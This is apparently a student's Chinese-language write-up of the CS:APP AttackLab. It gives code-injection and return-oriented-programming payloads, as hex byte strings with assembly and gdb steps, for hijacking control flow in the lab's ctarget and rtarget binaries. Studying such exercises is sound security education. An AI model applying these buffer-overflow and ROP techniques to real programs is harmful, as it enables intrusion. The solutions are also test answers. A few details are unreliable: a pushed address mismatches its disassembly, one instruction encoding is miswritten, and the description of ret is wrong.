AttackLab的实验记录。
- ctarget有3个使用代码注入(code-injection)的实验。
- rtarget有2个使用面向返回编程(return-oriented-programming)的实验。
代码注入很简单,就是把自己的指令代码写到缓冲区,然后修改返回地址为注入代码的地址即可,但通常会因为栈随机化和标记可执行代码段而失效。
ROP简单来说就是在已有程序中拼凑出自己需要的指令。通过缓冲区溢出输入不同的指令地址,再通过不断地ret来执行不同片段的指令(叫做gadget)。
phase1
ctarget中test()
会调用getbuf()
。
任务:让getbuf()
的返回语句返回touch1()
而非test()
。
要让getbuf返回touch1而非test,只需填满缓冲区后改变原本要返回test()下一语句的返回指令的地址即可。
查看getbuf()
的反汇编代码,BUFFER_SIZE大小为0x28(即40)。因此只要随意填充getbuf()的40个字节的缓冲区,然后将之后的字节改为touch1()的起始地址即可。
查看touch1()
的反汇编代码,其起始地址为0x4017c0。
最终答案为:
00 00 00 00 00 00 00 00 00 00 /* 填充 */
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
c0 17 40 /* touch1()的地址 */
并将答案写入phase1.txt。
注意小端模式下高字节存储在高位地址
使用./hex2raw < phase1.txt > phase1-raw.txt
获得输入字节。使用./ctarget -q -i phase1-raw.txt
验证程序。
phase2
touch2()
接受一个unsigned参数。
任务:让getbuf()
返回touch2()
并且输入参数为自己的cookie值。
思路就是将要执行的指令写入缓冲区,然后修改返回地址到缓冲区执行我们自己写的指令。
查看touch2()
的反汇编代码,其起始地址为0x4017ec。
我的cookie是0x59b997fa。
因为touch2的参数在%rdi中,因此需要注入的代码如下:
mov $0x59b997fa, %rdi
push $0x4017ac
ret
将其写入文件phase2.s,使用gcc -c phase2.s
,objdump -d phase2.o > phase2.d
得到对应的机器代码:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 push $0x4017ec
c: c3 ret
在gdb中使用print /x $rsp
查看getbuf分配的缓冲区的起始地址为0x5561dc78。将原先的返回地址改为该地址即可。
使用gdb ctarget进入调试,但是一开始我使用
run
指令调试会出现Program received signal SIGSEGV,Segmentation fault
错误且不能在正确的断点处中断。将run
加上参数run -q -i phase2.txt
即可正确调试。
因此最终答案为:
48 c7 c7 fa 97 b9 59 /* 指令 */
68 ec 17 40 00
c3
00 00 00 00 00 00 00 /* 填充 */
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00
78 dc 61 55 /* 输入指令(字符串)的地址 */
phase3
任务:让getbuf()
返回touch3()
,并且输入参数字符串的位级表示和cookie相等。
查看touch3
的起始地址为0x4018fa。
查询ASCII码表,cookie对应的字符串为:35 39 62 39 39 37 66 61 00,因此首先向缓冲区写入这些值,同phase2得到缓冲区的起始地址为0x5561dc78。
注意字符串结束符’\0’的ASCII码即00。
注意如果把cookie写到缓冲区中,可能会在调用hexmatch()
时被新分配的缓冲区修改。因此把cookie写到下一个64位的不会被分配的位置0x5561dca8。写入注入指令,代码为:
mov $0x5561dca8, %rdi # 参数为字符串首地址
push $0x4018fa
ret
对应的机器代码为:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 push $0x4018fa
c: c3 ret
最终答案为:
48 c7 c7 a8 dc 61 55 /* 指令 */
68 fa 18 40 00
c3
00 00 00 00 00 00 00 00 00 00 /* 填充 */
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* 指令地址 */
35 39 62 39 39 37 66 61 00 /* cookie的字符串输入 */
phase4
任务:同phase2,只是在rtarget中使用ROP方法实现。
首先将cookie写入栈中,再将其他指令的地址写入栈中,返回依次执行即可。
构造ROP代码并查看其对应的机器语言如下:
5f popq %rdi # 将栈中的cookie弹出到%rdi
c3 ret # 将栈中下一条数据写为touch2()的地址并ret
查表得到popq %rdi
的机器代码为5f,查找发现farm里面并没有,因此改变思路,先pop到别的寄存器,再mov到%rdi中去:
58 popq %rax # 将栈中的cookie弹出到%rax
c3 ret # 将栈中cookie的下一条数据作为下一条指令的地址返回
48 89 c7 movq %rax, %rdi # 将%rax中的cookie写入%rdi
c3 ret # 将栈中下一条地址写为touch2()的地址并返回
查找需要的机器代码对应的地址分别为:0x4019ab, 0x4019c5。
注意0x90是nop,因此任何机器代码后面的0x90都不影响结果。
最终写入缓冲区的答案为:
00 00 00 00 00 00 00 00 00 00 /* 填充 */
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00 /* 返回第一条指令(popq)的地址 */
fa 97 b9 59 00 00 00 00 /* cookie */
c5 19 40 00 00 00 00 00 /* 返回第二条指令(movq)的地址 */
ec 17 40 00 00 00 00 00 /* 返回touch2的地址 */
这么看,通过执行代码地址随机化好像就可以避免ROP攻击了?
phase5
任务:使用ROP实现phase3。
像phase3一样的先写入cookie字符串,再将其起始地址传参的思路是不可行的,因为输入字符串的起始地址是不确定的。但是可以通过mov %rsp
得到栈指针,再给他加上一个偏移值就可以实现传参了。gadget中有一段代码lea (%rdi,%rsi,1), %rax
可以实现这样的功能。
下面是根据gadget拼凑的汇编代码和其对应的机器语言:
# %rsp -> %rdi
48 89 e0 movq %rsp, %rax # 保存当前栈指针
c3 ret
48 89 c7 movq %rax, %rdi # gadget中没有直接mov到%rdi的指令,中转一下
c3 ret
# 偏移值 -> %rsi
58 popq %rax # 将偏移值弹出到%rax
c3 ret
89 c2 movl %eax, %edx # 中转
c3 ret
89 d1 movl %edx, %ecx # 中转
c3 ret
89 ce movl %ecx, %esi # 中转
c3 ret
# 获得字符串首地址
58 8d 04 37 lea (%rdi,%rsi,1), %rax
c3 ret
# 传参
48 89 c7 movq %rax, %rdi # 将cookie字符串首地址传参
ret # 返回touch3()
ret指令是先跳转再递减%rsp,可以通过计算得到偏移值应为72(0x48)个字节。最终答案为:
00 00 00 00 00 00 00 00 00 00 /* 填充 */
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00 /* movq %rsp, %rax */
/* 保存的栈指针指向下面这句c5处 */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi */
ab 19 40 00 00 00 00 00 /* popq %rax */
48 00 00 00 00 00 00 00 /* 偏移值 */
/* 注意下面这句后面返回前还会执行38 c9,即cmpb %cl %cl,但不会改变寄存器值 */
dd 19 40 00 00 00 00 00 /* movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx, %esi */
d6 19 40 00 00 00 00 00 /* lea (%rdi,%rsi,1), %rax */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi */
fa 18 40 00 00 00 00 00 /* touch3() */
35 39 62 39 39 37 66 61 00 /* cookie字符串 */